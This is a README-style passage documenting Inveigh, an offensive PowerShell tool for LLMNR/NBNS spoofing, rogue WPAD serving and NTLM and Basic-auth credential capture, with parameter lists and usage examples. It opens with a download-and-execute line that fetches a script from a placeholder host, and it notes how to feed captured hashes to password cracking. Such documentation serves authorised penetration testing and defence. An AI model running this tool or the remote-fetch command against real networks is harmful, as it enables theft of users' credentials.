IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh-Relay.ps1")
## System Requirements
* Tested minimums are PowerShell 2.0 and .NET 3.5
## Functions
* Invoke-Inveigh
* Invoke-InveighUnprivileged
* Invoke-InveighRelay
* Clear-Inveigh
* Get-Inveigh
* Stop-Inveigh
* Watch-Inveigh
### Invoke-Inveigh
* The main Inveigh LLMNR/NBNS spoofer function.
##### Privilege Requirements:
* Elevated Administrator or SYSTEM
##### Features:
* IPv4 LLMNR/NBNS spoofer with granular control
* NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/SMB
* Basic auth cleartext credential capture over HTTP/HTTPS
* WPAD server capable of hosting a basic or custom wpad.dat file
* HTTP/HTTPS server capable of hosting limited content
* Granular control of console and file output
* Run time control
##### Notes:
* LLMNR/NBNS spoofing is performed by packet sniffing and responding through raw sockets.
* SMB challenge/response captures are performed by sniffing over the host system's SMB service.
* The local LLMNR/NBNS services do not need to be disabled on the host system.
* LLMNR/NBNS spoofer will point victims to host system's SMB service, keep account lockout scenarios in mind.
* Ensure that any needed LMMNR, NBNS, SMB, HTTP, HTTPS ports are open within any local firewall on the host system.
* If you copy/paste challenge/response captures from the console window for password cracking, ensure that there are no extra carriage returns.
##### Examples:
* To execute with default settings:
Invoke-Inveigh
* To load and execute with one line:
Import-Module ./Inveigh.ps1;Invoke-Inveigh
* To execute with ConsoleOutput, FileOutput, and the NBNS spoofer enabled.
Invoke-Inveigh -ConsoleOutput Y -FileOutput Y -NBNS Y
##### Screenshot:
##### Parameters:
* __IP__ - Specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the 'SpooferIP' parameter is not set.
* __SpooferIP__ - IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host.
* __SpooferHostsReply__ - Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS. Listed hostnames will override the whitelist created through SpooferLearning.
* __SpooferHostsIgnore__ - Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS.
* __SpooferIPsReply__ - Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS.
* __SpooferIPsIgnore__ - Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS.
* __SpooferLearning__ - Default = Disabled: (Y/N) Enable/Disable LLMNR/NBNS valid host learning. If enabled, Inveigh will send out LLMNR/NBNS requests for any received LLMNR/NBNS requests. If a response is received, Inveigh will add the hostname to a spoofing blacklist. The valid system must respond to the protocol type that matches the protocol of the original request in order to be blacklisted.
* __SpooferLearningDelay__ - (Interger) Time in minutes that Inveigh will delay spoofing while valid hosts are being blacklisted through SpooferLearning.
* __SpooferLearningInterval__ - Default = 30 Minutes: (Interger) Time in minutes that Inveigh wait before sending out an LLMNR/NBNS request for a hostname that has already been checked if SpooferLearning is enabled.
* __SpooferRepeat__ - Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured.
* __LLMNR__ - Default = Enabled: (Y/N) Enable/Disable LLMNR spoofer.
* __LLMNRTTL__ - Default = 30 Seconds: LLMNR TTL in seconds for the response packet.
* __NBNS__ - Default = Disabled: (Y/N) Enable/Disable NBNS spoofer.
* __NBNSTTL__ - Default = 165 Seconds: NBNS TTL in seconds for the response packet.
* __NBNSTypes__ - Default = 00,20: Comma separated list of NBNS types to spoof. Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name
* __HTTP__ - Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture.
* __HTTPS__ - Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. If the function does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store.
* __HTTPAuth__ - Default = NTLM: (Anonymous,Basic,NTLM) HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests. Note that Microsoft has changed the behavior of WDAP through NBNS in the June 2016patches. A WPAD enabled browser may now trigger NTLM authentication after sending out NBNS requests to random hostnames and connecting to the root of the web server.
* __HTTPBasicRealm__ - Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.
* __HTTPDir__ - Full directory path to enable hosting of basic content through the HTTP/HTTPS listener.
* __HTTPDefaultFile__ - Filename within the HTTPDir to serve as the default HTTP/HTTPS response file. This file will not be used for wpad.dat requests.
* __HTTPDefaultEXE__ - EXE filename within the HTTPDir to serve as the default HTTP/HTTPS response for EXE requests.
* __HTTPResponse__ - String or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests. This parameter will not be used if HTTPDir is set. Use PowerShell character escapes where necessary.
* __HTTPSCertAppID__ - Valid application GUID for use with the ceriticate.
* __HTTPSCertThumbprint__ - Certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named Inveigh.pfx.
* __WPADAuth__ - Default = NTLM: (Anonymous,Basic,NTLM) HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts.
* __WPADEmptyFile__ - Default = Enabled: (Y/N) Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests. Enabling this setting can reduce the amount of redundant wpad.dat requests. This parameter is ignored when using WPADIP, WPADPort, or WPADResponse.
* __WPADIP__ - Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.
* __WPADPort__ - Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.
* __WPADDirectHosts__ - Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy.
* __WPADResponse__ - wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set. Use PowerShell character escapes where necessary.
* __SMB__ - Default = Enabled: (Y/N) Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still direct targets to the host system's SMB server. Block TCP ports 445/139 or kill the SMB services if you need to prevent login requests from being processed by the Inveigh host.
* __Challenge__ - Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. This will only be used for non-relay captures.
* __MachineAccounts__ - Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts.
* __ConsoleOutput__ - Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell.
* __ConsoleStatus__ - Default = Disabled: (Integer) Interval in minutes for displaying all unique captured hashes and credentials. This is useful for displaying full capture lists when running through a shell that does not have access to the support functions.
* __ConsoleUnique__ - Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations when real time console output is enabled.
* __FileOutput__ - Default = Disabled: (Y/N) Enable/Disable real time file output.
* __FileUnique__ - Default = Enabled: (Y/N) Enable/Disable outputting challenge/response hashes for only unique IP, domain/hostname, and username combinations when real time file output is enabled.
* __StatusOutput__ - Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages.
* __OutputStreamOnly__ - Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled.
* __OutputDir__ - Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must also be enabled.
* __ShowHelp__ - Default = Enabled: (Y/N) Enable/Disable the help messages at startup.
* __RunTime__ - Default = Unlimited: (Integer) Run time duration in minutes.
* __Inspect__ - (Switch) Disable LLMNR, NBNS, HTTP, HTTPS, and SMB in order to only inspect LLMNR/NBNS traffic.
* __Tool__ - Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire
### Invoke-InveighUnprivileged
* Inveigh LLMNR/NBNS spoofer function that does not require local administrator access.
##### Privilege Requirements:
* Regular User
##### Features:
* IPv4 NBNS spoofer with granular control that can be run with or without disabling the local NBNS service
* IPv4 LLMNR spoofer with granular control that can be run only with the local LLMNR service disabled
